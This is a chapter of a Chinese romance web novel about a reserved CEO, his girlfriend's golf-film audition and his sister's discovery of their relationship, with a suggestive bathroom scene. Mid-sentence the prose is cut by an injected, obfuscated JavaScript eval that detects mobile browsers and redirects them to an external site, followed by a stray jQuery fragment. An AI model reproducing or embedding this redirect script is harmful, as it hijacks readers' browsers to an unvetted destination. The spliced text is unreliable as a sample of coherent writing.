迟昼回到别墅的时候已经是深夜。
钴蓝色的天空繁星低垂,像一颗颗碎钻;习习晚风,拨动着庭院的叶片沙沙作响。
青石小径在毛茸茸的草坪中若隐若现,迟昼走进院门时,看见明亮温暖的灯光从客厅的落地窗里倾洒出来,照亮了半面庭院。
他在原地怔了一下,一种奇异又陌生的感觉占据了他的心底。
是的,陌生。
迟昼不记得是从多久以前开始,当他回到住所,面对的都是一片深不见底的黑色。
从英国读书时是如此。
回国接管集团后更是如此。
而现在,他的住所里有人在等他。
他推开别墅大门,宽敞整洁的客厅映入眼帘,沙发上有个白色的身影。
凌书寻正盘腿窝在沙发上,长发扎成一个高马尾,手里握着平板,正在观看一场球赛。她听到开门的动静,抬头撞进迟昼的视线。
“你回来啦。”她的笑意迅速挂上眼角,将手上的平板向沙发一撇,仰起头看他。
“嗯。”迟昼换上拖鞋,步履从容地走过来,坐到她身边。
凌书寻的手臂攀上他的肩,那张明艳的脸笑嘻嘻凑过来:“有个好消息。”
“我通过祝大导演的试镜了!”她在迟昼冷白的侧脸嘬了一口,“多谢迟教练的专业指导。”
凌书寻下午接到电话时,一度以为是谁的恶作剧,直到再三确认过屏幕上是“白明芳”的名字没错,才高兴地尖叫起来。
毕竟在此前,她从没打过高尔夫球。
从扶光回来的当晚,她就缠着迟昼教自己速成的几个动作。
一开始迟昼是拒绝的,只催促她早点回房间休息把身体养好。可是架不住凌书寻一直软磨硬泡:
“当初可是你说的,我想要什么都给,现在连教我几个动作都不愿意!”
“你就教我吧,我保证学会了就去睡!”
……
迟昼被她聒噪得眉心直跳,终于忍无可忍的从杂物间找出闲置已久的高尔夫球杆,手把手地教她发球动作。
又纠正她错误的发力点后,把她推回卧室睡觉,答应一早带她去球场练习。
凌书寻第二天状态奇佳,让迟昼做了一小时陪练后才放他去上班。
好在临时抱佛脚终归是有用的,加上她悟性不错,得到了祝兴尧的认可。
“所以,明天就要去球场训练了?”迟昼低沉的声音响在耳畔。
“是啊。”凌书寻松手伸了个懒腰,白色的中款睡衣因为她的动作而向上提了提,露出白皙的腿根。
迟昼的嘴角溢出一个笑意,“那在此之前——”
他尾音拖得很长,目光沉沉锁住她。
凌书寻不明所以地看着他:“嗯?”
下一秒却感觉到一阵酥凉。
他玉骨般的手指,已不由分说地落在她那截浑圆的腿上,微凉的指尖精准地覆上她腿-根温热的肌肤。
迟昼倾身靠近,几乎将她禁锢在自己的臂膀下,低沉的声线带了几分沙哑:
“我要收取应得的报酬。”
凌书寻轻吸一口气,雪色的皮肤映上两抹暮色,琥珀色的瞳仁半隐在眼帘,视线完全被迟昼白色衬衫下那饱满紧实的胸肌占满。
分不清是推开还是想要贴近,纤细的手指已下意识地抵了上去。
迟昼的喉间发出一声低笑,随即吻了吻她的额头,声音里的欲-色更浓:
“已经洗过澡了么,那陪我再洗一次。”
他将她拦腰抱起,步履从容不迫,手臂却在每一步中渐渐收紧。
/
翌日,迟昼到达办公室的时间比平时晚了些。
他进门的一瞬,看到办公室中央的沙发上坐着一个熟悉的身影。
一袭黑色连衣裙的迟星正上下打量着他,片刻才眉尾一挑,问道:“雷打不动守时上班的迟大总裁,今天怎么晚来了一小时?”
迟昼抿着薄唇,目不斜视地走到办公桌后,没有回答迟星的问题,反而问:“来做什么?”
“想你就来咯。”迟星托腮,一双杏眼盯着他,“哥,你都好久没回家了。”
迟昼坐回办公椅处理起工作,并不理会她。丝丝缕缕的阳光落在桌角和雪白的文件上,反射出钻石般的光芒。
见状,迟星顿时气不打一处来,起身怒气冲冲地走到迟昼桌前,抬起手猛地一拍,将他手中的文件打翻在桌面。
迟昼冷冷抬眸:“发什么神经?”
“你要跟爸爸置气到什么时候,今晚回老宅吃饭?”迟星凑近,语气神神秘秘的,“而且,和秦家的那个合作,爸爸已经敲定了,你最好去跟爸爸谈一谈。”
迟昼唇间挤出来的声音不带一点温度:“管好自己的事,别来烦我。”
迟星笑了笑,姣好的面容扬起一个无所谓的表情:“我就是没事做才来找你。”
看她摇头晃脑的样子,迟昼那双幽黑的瞳仁微微眯起,下了一个结论:
“你很闲。”
“还好吧,其实每天逛街购物喝酒追星也很累的,你这种只会工作的人不懂。”迟星站直身子,撩了一下自己栗色的长发,装模作样地叹了一口气。
她从迟昼的脸上收回视线,余光不经意的瞥到他微微敞开的领口,忽然顿了下来。
迟昼看着她绕过桌子走到自己身边,眼底浮现出一丝疑惑。
下一秒,迟星的小巧的手伸了过来,指尖揪住他白色的衣领向外一翻。
她脸上原本的怀疑瞬间变为了惊骇,像看见了什么不可思议的景象,猛地松手后退半步。颤抖着的手指先是指向迟昼的脸,又指向他的锁骨:
“你……!”
迟昼眉心微蹙,指节分明的手下意识地抚过衬衫下那处暗紫色的吻痕。
那是凌书寻昨夜在浴室中,留给他的、带有报复性的印记。
蒸腾的雾气里,她的声息随着他的动作起伏不定;沥沥水声,掩盖着缠绵的喘息。
她被他圈在怀里,几乎完全脱力,只能被动的迎合着他的索取。却能在意乱情迷的末梢,迅速回头咬住他的锁骨。
眼角明明还氤氲着薄薄的水光,表情生气而又懊恼。
迟昼哑然失笑,关掉花洒后又一把把她抱回床上,再次厮磨。
而锁骨处大小不一的痕迹,正是凌书寻那恶劣的报复心的杰作。
迟昼面无波澜的整理好衣领,将迟星的震惊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16443836|179671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
隔绝在外。
而此刻身旁那个被无视的人还在叫嚣:“迟昼!你不给我解释一下吗!”
迟昼被她的聒噪吵得不耐烦,有些头痛地捏了捏眼角。
“解释什么?”
“……你和谁?”迟星的表情怪异,吞回了后面的话。她一脸难以启齿的样子,紧紧闭上眼睛。
有一个瞬间,她觉得自己的信念好像崩塌了。
她那自持、寡欲、又寂静如冰山的哥哥,被女人留下了沾满情-欲气息的印记,原来迟昼真的有七情六欲……吗?
迟星的心里涌起一股奇妙的感觉——
自己家的白菜,终于被拱了。
此前她一直以为这是一颗玉石雕刻的假物。
白菜的视线重新落回迟星的身上,看着她复杂的表情,反而变得饶有兴味。
“你该找个班上了。”
“什么?”迟星被他突然转移的话题搞得猝不及防。
“让钟俊在集团给你安排个职位,以后没事不要来我办公室。”省的又发现些不该发现的东西。
迟星急了:“别呀,我还没玩够呢。”
她倚靠在迟昼的办公桌上,双手抱在胸前,颇有几分骄纵大小姐的味道。
“还想玩什么?”迟昼的注意力落回手边的文件,只下意识地敷衍。
下一秒又如福至心灵,一个两相宜的计划出现在他的脑子里。
迟昼抬起下颌看向迟星,唇边浮出一个浅淡的弧度:“下午要不要一起去打球?”
/
迟星还小的时候,有段时间很喜欢打高尔夫。
她已经记不清是在小学还是初中,迟昼也正巧难得从英国回来。
迟昼那个假期很长,却硬生生每天都被她按在自家的球场里,陪她这个菜鸟练球。
迟星叫了几个同校的小姐妹一起来,除了拉人给自己垫底,还能炫耀自己那个万中无一的哥哥,极大的满足了她的虚荣心。在一声声赞叹中,打球都分外有力气。
迟昼打的极好,天分又高,在球场几乎睥睨群雄,却并不喜欢搬出自己的身份结交他人。
尽管被她们一声声“哥哥”叫的厌烦,迟昼也还是会礼貌性地指点另外几个小姑娘的动作。
那个假期里,迟星异常快乐。
可是后来迟昼念了大学,从英国毕业后又去了美国,六年的时间,兄妹两人见面的时间却是屈指可数。
以至于她到现在都还时常会怀念那段日子。
所以当迟昼问她要不要打球的时候,迟星立刻就同意了。
当她兴冲冲的来到云翡,看到凌书寻的那一刻,才发觉事情不对劲。
尤其是看到她那冰山哥哥正从身后环抱着对方,手把手地调整着挥杆姿势时,更是气不打一处来。
迟星终于后知后觉地品味过来:“所以我是你们play的一环对吗?”
她想到了那句话——
人在无语时真的会笑。
她现在就被这个倒霉哥哥气笑了,也被自己身上发出的灯泡一样的光芒气笑了。
忽的,迟星的脑海里闪过一个荒唐而又真实的念头——
她这位不近人情的哥哥,好像恋爱了。